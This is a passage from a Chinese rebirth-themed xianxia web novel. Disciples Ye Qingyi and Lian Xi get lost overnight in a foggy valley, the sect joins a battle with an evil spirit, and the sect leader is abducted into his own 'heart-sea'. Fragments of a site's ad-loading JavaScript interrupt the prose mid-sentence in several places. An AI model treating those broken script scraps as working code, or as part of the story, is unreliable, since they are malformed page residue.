碎石很快升到半空,越靠近罗盘,碎石移动地越快,很快便飞到罗盘上,回到各自原本的位置上。 罗盘恢复如初。 云宸又迅速画了个符,打在面前的月影上,在其上施加了一个如水波般的结界。 云宸收回法力转身:“罗盘已经修复,不过我暂时将其封印住了,以免再因魔气失控而损毁,等除掉邪灵,封印便会自行解开。” 云华颔首,眉间的愁云散了一些:“如此便好,有劳掌门了。” “那我等再去城郊查探,还请公主静候佳音。”云宸恭敬行礼,准备离去。 “已经在城中替各位安排好了下榻之处,袁翀会带你们过去。” 云华说完,袁翀便做了个请的动作:“各位仙长请随我来。” 云宸辞别公主,随后出了占星阁,弟子们齐声向长公主行礼,也紧随其后离开了。 住的地方安排在都城的一处驿馆,袁翀将他们送到后就回去复命了。 驿馆不大,但是一应俱全,饮食起居都有专人负责,不需要他们费心。 正房内有很多空房,云宸让他们随意选择,自己则挑了离所有人都很远的一间,其他人也各自挑选好了房间,稍事休息歇歇脚。 不过说是驿馆,其实对他们来说更多的是一个联络点,之后几天他们多半也是在外面四处查探,也就晚上回来落个脚,这还是顺利的情况,若是遇到棘手的问题,一时半会儿都不一定能回来。 休息片刻,所有人都下到一楼,听云宸布置任务,随后便按照云宸安排好的两两同行,执行各自的任务。 前世她下山时已经是云宸的弟子,所以领的是去城郊探查的任务,也的确在那里发现了邪灵的踪迹,这一世她修为尚且,又只是仙徒,所以分到的任务是清除都城西南一角的魔气,张贴符纸,施法镇压。 但是,同队弟子是要一起完成双方的任务的,也就是二人先一起完成其中一位的任务,再合力完成另一位的,一般都会先完成仙徒的任务,再去执行内门弟子的任务。 云宸自然是带头先去城郊,任务安排好就率先飞出了驿馆,叶清漪只看得到紫霄剑在天际留下一道拖尾的紫气,可谓是雷厉风行。 领了任务的弟子都在院子里等候队友,准备好了就一起离开。 里面地方太小,叶清漪也先出来等着,还看着唐旖柔、许欣月一一自她面前路过,唐旖柔和她对上视线,还象征性地点头示意,许欣月则是愤恨不已,哼了她一声就走了。 连喜紧随其后,想去找许欣月,被叶清漪眼疾手快一把拉住。 “叶师妹!有何事?”连喜眼神亮了亮,夹杂了一丝期待。 叶清漪笑盈盈盯着他,将手中的玉牌举到他面前。 连喜一眼便认出上面的图纹,又看了眼自己的,又惊又喜:“你怎么?” “先出发,路上说!” 叶清漪二话不说,拉着连喜往外走。 完全没看到身后刚出来的顾长风。 一旁的唐旖柔上前两步:“走吧,你的搭档是我。” 顾长风脸色一沉,一言不发,丢下唐旖柔就走。 唐旖柔阴郁地望着顾长风正往大门走的背影,又看了眼已经走出门外的叶清漪,将七星剑捏得嘎吱作响。 “所以你和许师妹换了?但是你的玉牌在唐师妹手里。”连喜梳理着叶清漪刚才的话。 “不错,我在去凌云广场的路上又遇到了她们,但是我没将你的给出去,而是把选择权交给了许欣月,既然她和唐旖柔关系那么好,那让她用自己的玉牌跟我换总没问题吧!” 连喜当时将玉牌塞给叶清漪,本意是让她将他的玉牌交出去,因为唐旖柔她们并不知道顾长风的玉牌长什么样,这样叶清漪的玉牌就保住了。 不过叶 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 清漪选择了另一种方法,她可以将顾长风的玉牌交给唐旖柔,但许欣月需要用她的玉牌换,还是和之前说的一样,将选择权交给许欣月,最后许欣月不得不将玉牌给了叶清漪,她则拿了唐旖柔手里的。 “这不是挺好的,皆大欢喜,唐旖柔如愿以偿和顾长风一队,许欣月又稳固了她和唐旖柔的情谊,多好!”叶清漪没说的是,她也不用跟顾长风一起了。 “还真挺意外,我以为你会想和大师兄一组。” 叶清漪顿了片刻,眼神晦涩难辨,还有些隐隐的哀伤,只是很快被她掩盖过去,仿佛只是一瞬的错觉:“嗐,我怕唐旖柔杀了我!” 她故作轻松地说。 察觉出她情绪的异样,连喜也不再追问,三两句岔开了话题。 “对了,今日听长公主说起之前那件事,你感觉如何?还好吗?这段时间发生了太多事,我都没跟你好好聊过此事。” 连喜嘴角噙着笑意,低着头,一时没有回答。 “要是不想说就算了。”叶清漪也不执着。 “无妨,只是我一时没想好如何作答。” 连喜抬头望向远处,眼神变得悠远,过了会儿他终于开口:“还没谢过你之前全力维护我,我也没有多受影响,只是经历此事后,再跟门中的师兄弟相见时,心里总是有些别扭。” “我很开心你没有对我隐瞒自己的感受,说来我也算事件经历者,很能明白你的感受,人与人之间的相处,有时候需要保持适当的伪装,若你非要窥探着伪装之下的面孔,只会让自己失望,没几个人能经得起这种窥探,也没多少人能承受得住人性的底色。” 连喜听完后没有急着回应,而是略带诧异地盯着叶清漪。 “怎么?” “我只是感到有些意外,听你说这些话,看起来比我还要老成,不过你这说话的语气倒是跟师尊很像。” 叶清漪扯了扯嘴角:“是不是太说教了,抱歉,原本是想开解你的,没想到话一出口就有了自己的想法,还是希望有宽慰到你。” 连喜:“我明白你的意思,我只是一时调节不过来,不过想来也是,是我对他人抱有过高的期待了。” 叶清漪点点头:“的确不必对人心有过高的期待,但也不用太失望。” 连喜顿住了,蹙眉侧首,像是在认真思索叶清漪的话:“虽然我不是完全理解,但好像有点道理。” 叶清漪笑笑,不置可否。 “不管怎样,至少身边有你……你这么个好同门,也足够了!”连喜抬起的手和话锋一齐转了个方向,落在叶清漪肩头,还重重拍了两下。 叶清漪吃痛:“大哥你轻点,我好歹是个女的!” 连喜咧嘴一笑,故意逗她:“哦,你不说我还真忘了。” 叶清漪一个眼刀飞过去。 “对了,你什么任务啊?先处理你的还是我的?”连喜没脸没皮地凑上来,顺势一只手搁在她肩上,大咧咧将她圈在胳膊里,还放了点力气在她肩头。 “看你力气没地方花,不然两个任务都交给你?”叶清漪也不推开,干脆任由他搭着自己。 “那不太好吧!”连喜没敢过火,顺势松开了叶清漪,举起手,语气夸张,“我不能抢了你难得的历练机会啊!要不两个任务都让给你吧,反正我已经够强了……” 叶清漪刻意地睨了他一眼,故作不搭理地别过头去,脸颊却因为二人刚才忽然拉进的距离而微微发烫。 连喜打着哈哈,又说了几句俏皮话,惹得叶清漪重重给了他一拳才肯作罢。 二人就这样一边打闹着一边往都城走去,他们身后,天边的烟霞正绽放得绚烂无比。 75. 城郊查探 清除魔气不算复杂,又有连喜帮忙,很快就解决了,还顺带清除了路上的一些其他地方的魔气。 接下来要去执行连喜的任务,前往城郊查探邪灵的气息。 二人沿着主街往城郊走去,一路上叶清漪却表现得有些低落。 连喜侧过脸看她:“魔气清除得这么顺利,怎么看你好像反而不太高兴?” “没什么,只是看路上行人寥寥,有些唏嘘。” “无妨,等师尊带着我们将魔气清除了,百姓就能恢复正常的生活了。” 叶清漪用力地点点头。 连喜负责查探的地方是落烟谷,不远,他们脚程又快,一炷香时间便到了。 “这落烟谷还是个好地方嘛,山清水秀,边上还有一条浅浅的溪涧,看着溪水挺清澈啊!”连喜没心没肺地欣赏着美景,看起来像是完全忘了此行的目的。 “你看起来像是来踏青的。”叶清漪在后面看着,有些无奈。 “没忘没忘。”连喜大咧咧一摊手,“只是这气氛已经很沉重了,我们心情不能也这么沉重吧!” 落烟谷确实不错,只是有一点…… “这前面怎么起雾了?”二人前面的林子原本还是一片沉静,如今却弥漫起了躁动的雾气。 叶清漪侧首,边上的溪涧表面也漂浮起阵阵白雾。 “落烟谷地势特殊,日照时间很短,太阳照不进来,谷内的湿气聚集不散,形成了浓厚的烟雾,尤其早晚时分,雾气浓如白烟,别说东南西北了,连路都看不清。” 连喜瞟了眼溪涧上的白雾,一时失语:“这取名的人也挺实在的,我以为只是个雅称呢!” “快些走吧!这样下去等会找不到出去的路了。”叶清漪三两步走上前。 连喜紧随其后跟上来,将佩剑换了只手拿了,另一只手自然地牵起她的手,拉着她就往前走。 “这雾这么大,为了不走散,还是牵着好一点。” 叶清漪的心猛地跳了两下,怔怔地被连喜拉着,心里有点奇怪的感觉。 和被顾长风不同,连喜的手心有些粗糙,还有些干燥,这使得他的触感更加真实又直接,蛮不讲理地撞击在她心上,这和被顾长风牵着的感觉也很不同。 叶清漪深吸了一口气,才将这份慌乱压下去。 前世这次历练是没有连喜的,叶清漪也不是负责落烟谷,而是负责山谷外的那片杉树林,对落烟谷的地形也不了解,不过目前看来谷内并无魔气,加上前世最后发现邪灵一直蛰伏在离此不远的翠湖山庄,想来应该不会出现在这里。 不过还是小心为上。 叶清漪摒弃杂念,握紧连喜的手,步入浓雾中。 天色暗得很快,暗处的一些看起来都阴恻恻的,浓雾让周围的危险又添了几分。 叶清漪将青锋剑又握紧了一些。 整个山谷十分安静,偶尔有一两声不知名的鸟叫声响起,但听着也是凄厉异常。 叶清漪警惕地观察着四周,连喜一边走一边试图用手驱散浓雾,挥了两下忽然后知后觉地意识到什么,连忙缩回手:“哎呀!这雾不会有毒吧!” “要是有毒我俩刚开始就已经倒下了,现在才问是不是晚了点?” 连喜干干地扯了扯嘴角:“也是哦!” 二人继续往前走着,好像永远没有尽头一般,冬日黑的早,大约走了半盏茶的时间,四周就几乎一片漆黑了,叶清漪和连喜紧握的手心出了汗,黏黏腻腻的,变得有些滑。 “我看,这里没什么问题,要不我们先回去吧!”叶清漪将连喜往回拉了拉。 “也是。”连喜点点头。 二人这就准备回去,却在转身的瞬间傻在当场。 身后是一片浓雾,连路都看不见。 “这……你还能看出来我们是从哪个方向来的吗?”连喜有些没底气地问。 “好像每个方向都长一样。”叶清漪也没法子了,她向来没什么方向感。 连喜沉默了,握着叶清漪的手紧了紧:“现在怎么办?” “目前有两个方法,一,随便找个方向往回走,碰碰运气,幸运的话指不定就顺利出去了。” “不幸运呢?” “一整夜在山谷打转……” 连喜:“……那第二个呢?” “原地休息,等明天天亮之后雾气散去再回去。” 看着眼前遮天蔽日的浓雾,连喜弱弱开口:“其实吧,我有件事没告诉你,我这人向来不记路,一开始你在侧峰遇到我,其实是因为我在回后山的路上迷路了……” 叶清漪怔住了,不敢置信地望着连喜的脸,对方笑得一脸抱歉。 他们两个不认路的人居然凑一起了! 叶清漪认命地找地方坐下:“我们还是别挑战自己了,先在这对付一晚吧!他们也不会急着找我们,等救援应该也不现实。” 连喜深以为然,环顾四周,看准了最近的一棵树:“我们就在那休息吧!” 二人靠着树干坐下,叶清漪心情很复杂。 “两个负责除妖的弟子,妖没除到,还把自己困在林子里了,说出去好丢人。”她动了动被连喜握着的那只手,提醒他,“你可别说出去,就说我们……在山谷里认真搜寻魔气,布阵,贴符,太累了就在林子里睡了一晚。听起来似乎也不太妥当,要不干脆什么也别说吧!” 连喜头枕着树干,侧过脸看她,笑容无奈:“放心,我肯定不会说出去的,实在不行你就全推我身上,说我和你在林子里走散了,你找了我一晚上。” 叶清漪连忙用另一只手挡住他的嘴,连连摇头:“别这样说,不吉利。” 连喜的表情有一瞬间的失神。 因为手持青锋剑,叶清漪这一动作连带着将剑也举了起来,上面的剑穗随着动作晃动着,倒让叶清漪想起玉牌上的流苏,然后忽然就意识到不对劲了。 等下……他们不是有玉牌吗?玉牌可以互相感应,确保彼此不会走散啊!那…… 叶清漪的视线落在二人紧握的手上。 连喜注意到这点,大概也和叶清漪想到同一处了,他迅速收回视线,若无其事地转开脸,清了清嗓子。 “那个,咱们都坐下了,应该不会走散了,是不是可以松手了啊!”叶清漪试探着开口。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“哦!对对对!”连喜反应夸张不已,“你看我都忘了!” 这才松开叶清漪。 叶清漪古怪地看他两眼,连喜今天怎么神叨叨的? 二人各怀心思地坐着,一时无话。 叶清漪已经成功辟谷,可以一段时间不吃东西,连喜自然也是,所以也不需要去找吃的,又有灵力护体,也不觉得冷,就是没什么困意,这么坐着甚是尴尬。 “这雾大的,连个星星也看不着啊!”连喜干笑两声,没话找话。 “咱俩是来除妖的,又不是来花前月下的,看什么星星?”叶清漪不假思索地说。 四周死一般寂静。 叶清漪意识到似乎有些不对,但她还是假装什么都没察觉。 感觉到边上的连喜顿了顿,接着不好意思地挠挠头,别过脸去了。 叶清漪无比懊恼,没事她瞎说什么啊!偏偏两个人被牢牢困在这里,就算尴尬都没地方可以躲。 这山谷也是,这么太平,连只小妖也没有,不然她还能捉个妖什么的打发下时间,也好过现在这般进退两难。 这一夜可真漫长啊! 余光瞥见连喜准备转过来,好像有话要说,叶清漪连忙夸张地打了个哈欠:“好困啊……也不知是不是今日折腾久了,现在一坐下就困得不行,我先睡会儿了!” 说完搂着青锋剑,眼一闭,靠着树干装死。 依稀听到一声轻笑,边上的人慢慢也安静了下去。 叶清漪原本只是装睡,没想到这样闭着眼,慢慢竟也睡着了。 不知道是不是在林子里睡觉不安稳,睡着后她做了个梦,梦里她又回到了万魔殿,一个人茫然站在大殿前,低头看到自己还穿着那件暗紫色的月影长袍,周身魔气四溢,重重地压在她身上。 她怎么又变回魔修了? 难道之前的那些,都是她在做梦吗? “叶清漪!” 殿外传来一声呼唤,语气里是深深的喜悦。 她应声回头,只见大开的殿门外,一个熟悉的身影逆光而来,叶清漪忍不住抬手挡着光线,等人走近后才发现是连喜,他也仍旧穿着他在魔界惯常的那套玄色常服。 叶清漪连忙上前一把拉着连喜,检查他的情况:“你怎么……又入魔了?我不是已经救下你了吗?” 连喜很是不解,探了探她额头:“你是不是最近忙昏头了?什么叫又入魔了,难不成我还能入魔两次?” 叶清漪的心中说不出的苦涩,无力感席卷全身,陷入深深的自责中。 “你怎么这个反应?”连喜看了看她的脸色,很自然地执起她的双手,掩饰不住地欣喜,“不说这个了,过两天就是大婚的日子了,到时候我可能会有些忙,所以提前来跟你说一声,那天我让紫玥来陪你。” 见叶清漪失魂落魄的,连喜以为叶清漪是在担心婚礼,又安抚她道:“魔界的婚嫁仪式很随意的,你不用紧张。” “不可能,这不可能……” 叶清漪一点都听不进去,拎起衣摆就往殿外跑。 连喜提高声音在她身后喊。 “叶清漪你干什么去?” 76. 围困邪灵 叶清漪站在万魔殿前的空地上,茫然四顾,周围一个人也没有。 “叶清漪……叶清漪!” 依稀听到有人在喊她,但不是从身后传来的,倒像是从很远的地方传来的,声音闷闷的,像是隔着一层什么,又像是溺水的人在水下听到的呼喊。 “叶清漪!醒醒!!!” 一阵猛烈的摇晃,叶清漪终于醒来。 看着眼前穿着云仞仙袍的连喜,不免有些恍惚。 “连喜?”叶清漪不确定地问着。 再看四周,天已经亮了,他们还在落烟谷。 “你怎么了?叫你半天都不醒,还一直说梦话。”连喜神色担忧。 叶清漪这才接受方才的一切是一场梦魇,只是有点太真实了。 “没什么,大概是在林子里睡不踏实,梦魇了。”叶清漪用袖子擦了擦额角的细汗,脑子渐渐恢复清明。 “那还好,我以为你被那个什么邪灵侵体了呢!”连喜后怕地拍着心口。 叶清漪知道他在拿话逗她,顺势回了句:“你盼我点好行不行。” 语气却还是有些低落。 连喜认真盯了她一会儿,拿着剑站起身,拍拍身后蹭到的落叶和泥土。 “走吧!回去吧!也不知师尊他们有没有将邪灵除了,既然这里一切如常,我们也尽早去和他们回合,看能不能帮上忙吧!” 冬日稀薄的日光穿过云层而来,将浓雾驱散,原本被遮蔽的路径得以显现,他们可以离谷了。 叶清漪点点头,一手撑地准备起身,连喜有眼力见地伸出手,提着她的胳膊。 叶清漪扶着连喜起身,刚站直,就忍不住倒吸一口凉气。 “怎么了?”连喜急急问。 “睡了一夜,脚麻了……”叶清漪有些难为情。 狼狈啊,实在是狼狈!这绝对是她两辈子最大的污点。 “还能走吗?”连喜始终扶着她。 叶清漪试着走了一步,酸胀的酥麻感从脚心直往大腿根钻。 “不行不行!”叶清漪连连喊着,做了个制止的手势,“麻,麻了……” “那要不你先坐下歇会儿?” “没事,站一会血脉通了就好了。”叶清漪回头看了眼,小心往后挪了半步,扶着树干站着。 连喜只好松开她。 “你怎么没事?” “我早就醒了,在地上坐了好一会儿,估计缓过来了吧!” 叶清漪应了,不再多言。 连喜看了看她的脚:“要不我背你吧!” 叶清漪摆手:“不用了,歇一会就好。” 这时一只泛着金色荧光的小虫自远处飞来。 “是传音兽。” 传音兽察觉到他们的气息,加速飞过来。 “翠湖山庄,缚魔阵结阵!素来!!!” 传音兽里传来云宸的声音,语气难掩焦急。 “看来掌门发现邪灵的踪迹了!” 叶清漪与连喜迅速交换了一个眼神。 “师尊需要我们相助,你的脚可以吗?” 叶清漪试着走了两步,脚还有点麻,不过没有一开始那么严重了,走了两步很快就恢复了。 “已经恢复了,没问题!”叶清漪用力点头。 “那走吧!估计其他人也收到了师尊的传音。” 传音兽是具有巡回能力的,她和连喜跟着传音兽出了谷,一路朝翠湖山庄赶去。 在落烟谷外的大路上,还遇到了顾长风和唐旖柔,他们边上也跟着一只传音兽,想来也是收到消息了。 “我们刚从玄清观出来。”顾长风气都没喘匀,急急道,“传音兽太慢了,你们谁知道翠湖山庄在哪个方向?” 唐旖柔和连喜都摇摇头。 叶清漪剑柄指向东北方:“沿着这条路往前,过了桥就到了。” 顾长风转头,视线在她脸上停顿片刻,问:“你确定吗?” “之前有幸与母亲跟随贵妃一起来此避过暑。”叶清漪随口道。 这个说辞很有说服力,顾长风不疑有他,接着交给她一道符纸。 “此乃传送符,需得知道传送之地才能使用,既然你曾去过,那便由你来带领我们一起。”顾长风说着便将传送符的口诀传授给了她。 传送符自然比他们跑过去快,叶清漪也没有理由拒绝,便接过了。 原本她担心自己的修为不足以将四个人一齐传送到目的地,幸好最后顺利完成,四人尽数抵达翠湖山庄大门外,还稍带着将两只传音兽一起传来了。 叶清漪刚施法完,气息有些波动:“里面魔气太重了,只能传到这了。” 几人不敢耽搁,刚落地就往山庄里冲。 翠湖山庄是御用的避暑山庄,是以如今空无一人,也算是一定程度上减少了人员伤亡。 这翠湖山庄很大,中间还有一大片草场,沿着湖边走更是前后都望不到头,山庄各处布满了不同程度的魔气,他们不得不用剑劈开雾气往里走,穿过湖面上迂回的木桥时,还险些被其上聚集的魔气困住,幸好这时泽成也随后赶来,让他们的负担减轻了不少。 “这都进来多久了,怎么还没见到师尊他们?”走了这么久还没见到云宸,连喜有些急了。 “我们是跟着传音兽走的,应该没问题。”唐旖柔说着看向叶清漪,“你之前不是来过吗?” 言下之意是叶清漪应该记得,本该给她们指路。 “我是来过可是……那都是好几年前的事了。”叶清漪也是心急如焚,在认路这方面,她跟连喜差不多,况且又是她前世死前好几年的事情了,她只记得最后制服邪灵的地方长什么样,怎么进去的是一点印象都没有。 “你怎么连路都不记得?刚看你们正从落烟谷出来,你们昨晚不会在里面迷路了吧!”唐旖柔的眼神像是要看穿她。 “我!”叶清漪一时语塞。 “好了,别互相指责了!”顾长风脸色难看极了,带头走进了前面的水榭。 其他人也随后进去了,此时越来越多的弟子赶到,看到他们坐在这里,也都是一愣,不知该往前走,还是另寻他路。 叶清漪几人正一筹莫展,所有的传音兽忽然乘风而起 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,汇聚成一片金色的荧海,沿着对岸往湖的另一头飘去。 “快跟上!”顾长风和泽成率先冲出去,叶清漪、连喜也紧随其后,唐旖柔和其他弟子也陆续跟上,从木桥上原路返回,沿着湖边往上游走去。 传音兽最终将他们带到湖面最宽阔的位置,丢下他们就往湖对面飞去。 看着眼前的湖心岛,叶清漪终于想起来了,邪灵就在岛上,只是想要到湖心岛,只能乘船过去,但如今山庄没人,御船自然也被收起来了。 “看来只能御剑了。”顾长风说道,语气有些不得已。 “他们的御剑能力你也知道,只能自己飞过去,没办法带人,你我虽然有这个能力,但带人御剑速度太慢,只怕会耽搁……”泽成说出自己的担忧。 “大家根据自身情况,即刻御剑到湖心岛,剩下的留在此处。” 顾长风一声令下,内门弟子已经齐刷刷长剑出鞘,施法御剑了。 在场的仙徒里,叶清漪能独立御剑,其他人她顾不上。毕竟御剑都不行的人,去了也是白搭。 缚魔阵有两种列法,一种是复阵,分内外两层,人数必须要十六人以上,一种是单阵,只有一层,只需八个人列阵即可,他们几个仙徒这次一起下山,原也是来打下手的,确保以最短的时间清除魔气,控制城中局势。 叶清漪飞的比较慢,很快就落后顾长风他们一大截了,临近湖心岛的时候,她隐约看见岛上的观雨楼顶缠绕的魔气。 叶清漪连忙施法加速飞去。 令她没想到的是,唐旖柔竟然也紧随其后跟来了。 唐旖柔不愧是除她之外,这批仙徒中资质最好的,也难怪她会对自己敌意那么大,可她前世竟然没察觉! 也不知是唐旖柔隐藏的太深,还是她前世太不管事了。 她与唐旖柔一前一后降落湖心岛,对视了一眼,互相看对方都不顺眼。 赶到观雨楼前时,顾长风几人已经列好阵,将看上去一团黑气的邪灵困在中央,云宸把守着阵眼,阵法化为一道道铁链交叉缚于邪灵之上,血腥之气包裹其上,不时闪着一道道青紫色的电光。 叶清漪和唐旖柔也加入其中,加固阵法。 但这邪灵凶狠异常,这种阵法对祂而言根本没用。 果不其然,阵法只维持了片刻就有松动之势。 云宸大喝一声:“变!” 众弟子又随着他的指令变换了位置,让阵法的威力尽可能地增强。 邪灵似乎被压制住了。 但下一刻,他们就知道是想多了,那邪灵猛地爆发,挣脱开来,大部分弟子都被破阵的术波波及,冲到半空,又狼狈跌落。 即便叶清漪早有预料,也还是被伤到了。 不等他们有片刻喘息,那邪灵化作一阵黑烟,绕了一圈,将所有人再次掀翻在地。 叶清漪用青锋剑挡了一下,减缓了一些攻击的威力,但还是不受控制地双脚离地,狠狠向后摔去,还呛了一口黑烟。 不仅如此,叶清漪刚站定,就看到那黑烟直直冲向云宸,随后与云宸一同在众人眼皮子底下消失了! 77. 云宸被掳 所有人都惊了。 掌门被掳走,史无前例,没人知道该怎么办? 这时十几只妖邪从天而降,出现在他们面前,不等他们反应,就发动了攻击。 几个大弟子本能地格挡开,接着反应迅速地和妖邪拉开距离,缠斗在一处。 几个内门弟子之前就被魔气攻击到了,状态不佳,只能勉力招架。 场面一度十分混乱。 叶清漪的面前落下一团黑紫色的雾气,雾气如浓烟一般冲到地面而后扬起。 叶清漪不由分说抬手一剑,劈开雾气。 一个女子的身影随之显现,雾气最终化为她的衣摆,高高扬起。 女子身着紫衣,墨紫色的长发半束在头顶,两边各编了好几股小辫垂下,让她多了几分飒爽之气。 叶清漪挥出最开始的一剑后,愣在当场,握着青锋剑进退两难。 紫玥……她也来了! 前世紫玥是连喜的贴身侍女兼护卫,连喜没有空闲的时候,都是紫玥在万魔殿陪她,也算是前世她在魔界为数不多的朋友。 只是如今她面前的人,眼中只有陌生的神采,以及汹涌的恨意。 紫玥毫不犹豫地在掌心汇聚一团灰紫色魔气,迎面就是一掌。 叶清漪只得连连格挡,但她只是防御,并未回击。 紫玥虽然有所察觉,但也只是不解,并不会因此收手。 但她在叶清漪手底也没有讨到好,尽管攻击迅速又密不透风,却总能被尽数格挡,这更让紫玥认定面前的修士在侮辱她,认为她不足以使得对方出手。 紫玥招招攻势更加猛烈,甚至动了杀意。 叶清漪轻叹,这些都是前世紫玥保护她时用的招式,她很清楚她的功法路数,也不忍伤她,曾经叶清漪魔气紊乱,癫狂暴走的时候,是紫玥紧紧护住她才免得她走火入魔,也是那次,紫玥被她重伤,内丹受损,险些修为尽废。 她也想过这次或许会遇到前世魔界的那些旧识,若是其他人,必要之时她可能会反击,但是紫玥她实在下不去手。 “渣滓仙修,何敢如此!”紫玥愤愤骂了句,抬手召出一把幽冥斧,发了狠力向她砍来。 幽冥斧魔兵榜排行第三,斧身镶嵌紫晶石,专门压制仙力,威力无比。 前两位分别是灭神钺与魔骨鞭,是已故魔主赤焱与魔君风闻的本命兵器,与宿主相生相伴,也随他们的湮灭一同消散于天地间。 如今的魔界之主千辰是赤焱长子,据传魔主之位本属于次子曜熠,只是这位魔界二殿下十年前就已不知所踪,其兄千辰便自然代替了他的位置。 叶清漪后来在魔界的时候,曜熠已经重回魔界,她也曾见过那个曜熠几面,不过每次都是远远看上一眼,多半时间都是斗篷遮面,好像见不得人似的,叶清漪对他没什么好感,不过是个游手好闲之辈罢了,魔界大部分事务都是连喜在处理。 紫玥的杀招即将落下之际,一道青色术光破空而来,将幽冥斧劈回。 连喜替她接下了这一击,并且与紫玥缠斗在一处。 “连喜!”叶清漪想上前帮忙。 “这里你不用管,先去找师尊!”连喜趁着对招的空当儿对她喊。 叶清漪扫了一眼,其他人不是自顾不暇,就是忙着帮边上的师弟对付妖邪,也只有她能去了。 她也不耽搁,转头一剑劈走试图阻挡她的小妖,便往云宸消失的位置冲去。 云宸的气息消失的很彻底,叶清漪他和邪灵消失的的地方转了一会儿,也没找到结界入口。 正当她不知该留在原地还是去其他地方看看时,不知从哪来的一股力量,猛地将她吸了进去。 不过倒没有天旋地转,仿佛只是被拉到一旁的另一处所在,观雨楼前的所有人都不见了,翠湖山庄的一切也不见了。 眼前是一处民居所在,但叶清漪从未见过,民居坐落在山林间,四周被无尽的山峦包围,竟无半点人烟,一条蜿蜒的河流自山脚下穿过,四周很安静,只有间断的鸟鸣,清风带着草木清香拂过她脸颊,让人忍不住贪婪地呼吸起来。 叶清漪调整了一下气息,往身后的民居走去。 民居不大,但很雅致,廊下种了一排的花草,长势都很好,各色花朵开得无忧无虑,院子里尽是碎石铺就,一排不规则的青石板弯弯扭扭自院门连着廊下的台阶,进入院门后左手边是一方水池,右手边划了一些地当菜圃,种了简单的豆角、青菜和番柿(注1),水池后是一处矮屋,连着左耳房,矮屋门口锄头、犁耙等一些农具靠墙放着,叶清漪往里走了两步,里面堆满了干柴和稻草,稻草里窝了十几只朱果(注2),已经熟透了。 叶清漪这才看到,院子右侧的菜圃边上还摆了两张条凳,其上搭了一个晒匾(注3),里面晒了很多朱果干,若是平时,叶清漪肯定会拿一块尝尝,但她现在没这个心情。 正屋的门开在最左侧,半开着,看情况里面应该是有人的。 叶清漪握紧青锋剑,小心朝正屋靠近,做好了随时应战的准备。 一个颀长的身影出现在门后,叶清漪屏住呼吸,拔剑出鞘,剑尖向前刺出的瞬间,门后之人走了出来,叶清漪瞪大双眼,急忙收住攻势,脚下一个不稳,眼看就要往后摔去。 此时一只手握住了她的手腕,将她拉了回去。 叶清漪青锋剑都忘了收回,就这么两只手分别举着,对着眼前之人上下扫了好几遍,还是不敢相信自己所见:“掌门?您这是……何意啊?此处又是何处?” 云宸换了一袭月白色长袍,十分质朴素净,长发半挽在脑后,用同色发带简单束了,任由其松松散散地垂着。浑身没有一点多余的装饰,连紫霄剑也没了。 风往可以变幻形状,叶清漪留了个心眼,眼前不一定是真的云宸。 她宁愿相信不是真的! “怎么是你?”云宸似乎对她的到来很是意外。 “掌门,您这是……”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 不等叶清漪说完,云宸抬头看了眼天色,拿起廊下的簸箕,就往菜圃的方向去了。 “掌门!” 叶清漪急忙跟上。 云宸二话不说,将那些朱果干都收在簸箕里,收进正屋,又埋头开始搬花盆,叶清漪跟在后面连声喊他。 “你有事也得等我把花收完。” 云宸怒斥道。 叶清漪刚准备将青锋剑放在一旁去帮忙,忽然一顿,默默后退两步,再次长剑出鞘,直指云宸。 “你是邪灵所化的吧!掌门怎么可能像你这样?” 云宸手上动作一滞,片刻后又继续搬东西,直至所有花草都被搬回水池边上的隔板上,云宸才停手。 水池边上搭了个简易的棚子,棚顶铺了一层绿色的布,看起来像是防雨的,隔板就在棚子下方,一共两层,那几盆花草刚好摆满。 这一切都不像是一两日能完成的,如果这是邪灵所化的幻象,那也太细致了。 云宸看出她的疑虑,招招手,示意叶清漪随他进正屋。 眼下也出不去,叶清漪只能先进去,她倒是要看看这邪灵玩的什么把戏。 进得屋内,叶清漪直接傻在了门后,与院子里的一切给人的感觉不同,屋内布置得十分细致,桌椅条案,高凳矮几,一应俱全,门后左侧的条案上摆着盆五针松和一只插花宝瓶,右侧地上放着一盆梅花,正屋地面依旧是青石板。 高几后便是一方八仙桌,散乱地围了一圈柳编竹锁椅子,再往后是一扇琉璃屏风,后面应该是内室,叶清漪没有过去。 右侧靠窗下的暗红短绒地毯上摆着一方书案,后方的四柱书架上摆满了各类典籍,书架右侧还挂了一副山水画,书案上摆满了文房四宝,宣纸半卷,看上去像是有人刚刚离开,从云宸出现的方位来看,叶清漪进来前他应该就在书案前坐着。 “这……?”叶清漪以眼神询问一旁的云宸。 云宸不答,只将她往屏风后引。 屏风后原来是一处茶室,正对着屋后的门廊,一方如意纹矮几放在中央,两侧各摆了两个蒲团。 云宸做了个手势,示意她在对面坐下。 叶清漪满腹疑虑不知从何说起,只能先坐下。 茶几上的茶具一应俱全,旁边火炉上还摆了个铜壶,云宸给她倒了杯茶,叶清漪微微倾身,扶了下茶杯,有些局促。 云宸却不疾不徐,又给自己倒了杯,端起来喝着,还将边上托盘里那碟朱果干端给她:“试试!配茶吃正好。” 叶清漪哪有心情,一口也吃不下,只一个劲地问云宸:“掌门,这到底是怎么一回事啊!外面的师兄弟们可都等着我们呢!” 云宸搁下茶杯,抬眼看向叶清漪,眼底闪过一丝复杂的神色,接着,叶清漪得知了一件令她无比震惊的事情。 “这里是我的心海。” 云宸说着,拈起一枚朱果干吃着:“我被风往用术法困在此处,暂时出不去。” 78. 误入心海 “掌门,这是何意?” 前世她也没听云宸提过什么心海啊! “此处三面环山,只有我这一处院落,若是真实存在,那我该何以为生呢?” “这……”叶清漪被难住了。 “况且这院落所在之处,地势险要,就算想归隐山林,也不会选择此处,除非是想与世隔绝。” “倒是有些道理,这地方看着确实不太正常。” “我的心海与他人不同,乃是这样一处看起来很寻常的住所,但又不合常理。那是因为这里的每一处都是我心念所化,每次闭关之时,我也会进到这里,生活一段时间,就像现在这般。” “这是为何?而且我怎么没见过自己的心海?” “你修为尚浅,心海要到六重天以上才会修成,也不是人人都会有心海,除非是有极度的执念阻碍你突破修为。” 前世她突破了也没有看到啊! “还有件事弟子有些不解。”叶清漪说着停顿片刻以征得同意。 